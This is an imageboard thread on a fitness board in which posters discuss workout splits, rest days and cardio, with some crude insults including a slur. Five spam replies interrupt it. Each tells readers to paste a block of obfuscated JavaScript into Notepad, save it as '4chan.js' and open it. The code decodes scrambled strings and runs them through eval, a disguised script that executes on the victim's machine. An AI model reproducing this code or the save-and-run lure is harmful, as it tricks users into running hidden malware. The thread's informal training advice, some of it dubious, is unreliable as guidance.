File :-(, x, )
Anonymous
Dear /fit/
I work out Monday to Friday, each day targeting at least two muscle groups. Ie; Monday: Chest and back. Tusday: SQUATZ, abs, legs. Wensday: Shoulders, triceps, biceps. Should I continue to work out like this? Or should I take a rest day in between each work out? I find I'm doing the same muscle groups twice in one week (5 days), is this stunting the growth of my muscles, slowing down my progress? Or is it all in my head...
(Also I take glutamine after each workout)
>> Anonymous
Eat more OATZ.
>> H.A.
Try two days - one rest- three days - one rest. It proved more usefull to me on very strict routines.

Also, try to organize your muscle groups better. Chest and back the same day is a big nono. You risk getting hurt by overforcing your muscles.

My routine is something like this.

Chest - Triceps

Back - Biceps

Rest - (VERY IMPORTANT IN THIS CASE, YOU JUST WORKED THE BIGGEST PART OF YOUR UPPER BODY)

Legs

Shoulders

Biceps - Triceps

Rest (sundays)

----

I work abs 2 or 3 times a day, at most. As every other muscle, they need to REST to recover. That's extremely important.

One of the most difficult things for us, body trainers, to understand is that our growth is done when we rest. We work out to erode the body and make it grow. But to grow it needs proper rest.

Good rest is a must. At least 9 hs a day.

Protip: After heavy workout, there's a period of about 1 hour in which our metabolism is accelerated, we assimilate stuff far faster. So try to drink something high on fiber and carbs at that time. (A banana-milk-suggar shake is exactly what I drink... with two egg whites.)

I hope this helps you a little.
>> Anonymous
>>434392
Many thanks sir!
/tiphat
>> H.A.
>>434403
You are welcome.
>> Anonymous
dont work out biceps and triceps the same day
>> Anonymous
>>434513
explain ur theory.
>> Anonymous
>>434392

Would this be a good choice of workout regiment for someone new to weight training? Haven't worked out in a few years and need to "get back into the game" so to speak.

Also, if someone was interested in cardio with this schedule, when would be a good time to run / bike? Daily?
>> Anonymous
>>434540
when you tighten your biceps by working them out and then you move to triceps youre stretching out you biceps causing strain on the muscle, and vice versa
>> Anonymous
7chan's health and fitness board is great for beginners and offers some routines.
>> Anonymous
just do crossfit.

Shit only takes 20 to 40 minutes a day and you don't have to worry about all this bullshit or having to do cardio either later in the day or after your hour long body building workout.
>> Anonymous
you are doing p90x you faggot
>> Anonymous
>>434926

>the game
>> Anonymous
id9ll

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

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'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
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'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
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'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
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'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
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');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2pvo4ov

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
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's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
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'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
25z54zo

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
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'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
20mvlex

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
9smj2l

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
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'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
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');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> H.A.
>>434926
Yes, it is. Just keep the weight low as needed and look for series and repetitions that fit your shape. That's sorting them out by "not-very-related" muscle groups, not by how well in shape you are.

To do cardio-aerobics I'd recommend a time of the day when there's a good temperature. Also, using lots of clothes would do wonders, too.
It all depends on what times you handle in your life.

For "beginners" or "returnees" I'd advice something like this.

3x3x10. That's 3 excercises for each muscle. 3 series. 10 repetitions. That would leave you with some 6 excecises a day and would take 1/1.30 hours to complete. Use another 30 to 60 minutes to walk/run/bicycle, whatever fits you best. NEVER less than 30 minutes and if you sweated A LOT, no more than 60 minutes. After sweating a lot, the damped clothes make it extremely hard to keep burning calories because they'll cool you down. For longer running routines, take a change of clothes (a shirt, -and a jogging if needed-) and a towel to wipe of your sweat.

You'll notice that your body suddenly comes to a constant cold feeling. And you don't feel like you are sweating as much. That's okay. At the beginning the first you sweat off is your extra, retained water.

>>435230
This is true. Triceps and Biceps belong to the same muscle group. And besides, you work them out with every single excecise in which you use your arms ...


Sorry for the delay.

Also, fucking spambots.
>> Anonymous
anyone know a good routine that keeps related muscle groups away from each other
>> Anonymous
>>436271
-Chest + biceps
-day off
-back+ triceps
-days off
-legs + shoulders + abs
-2 days off

Imo traing 3 times a week for 45-60 minutes is enough if you eat properly. Especially if you havn't been training for that long. More is overkill. A lot of people overtrain, proper rest is at least as important as food and training.
>> Anonymous
>>436271

it's gonna be impossible to keep related muscles away from eachother unless you only do isolation exercises, in which case you're a fucking moron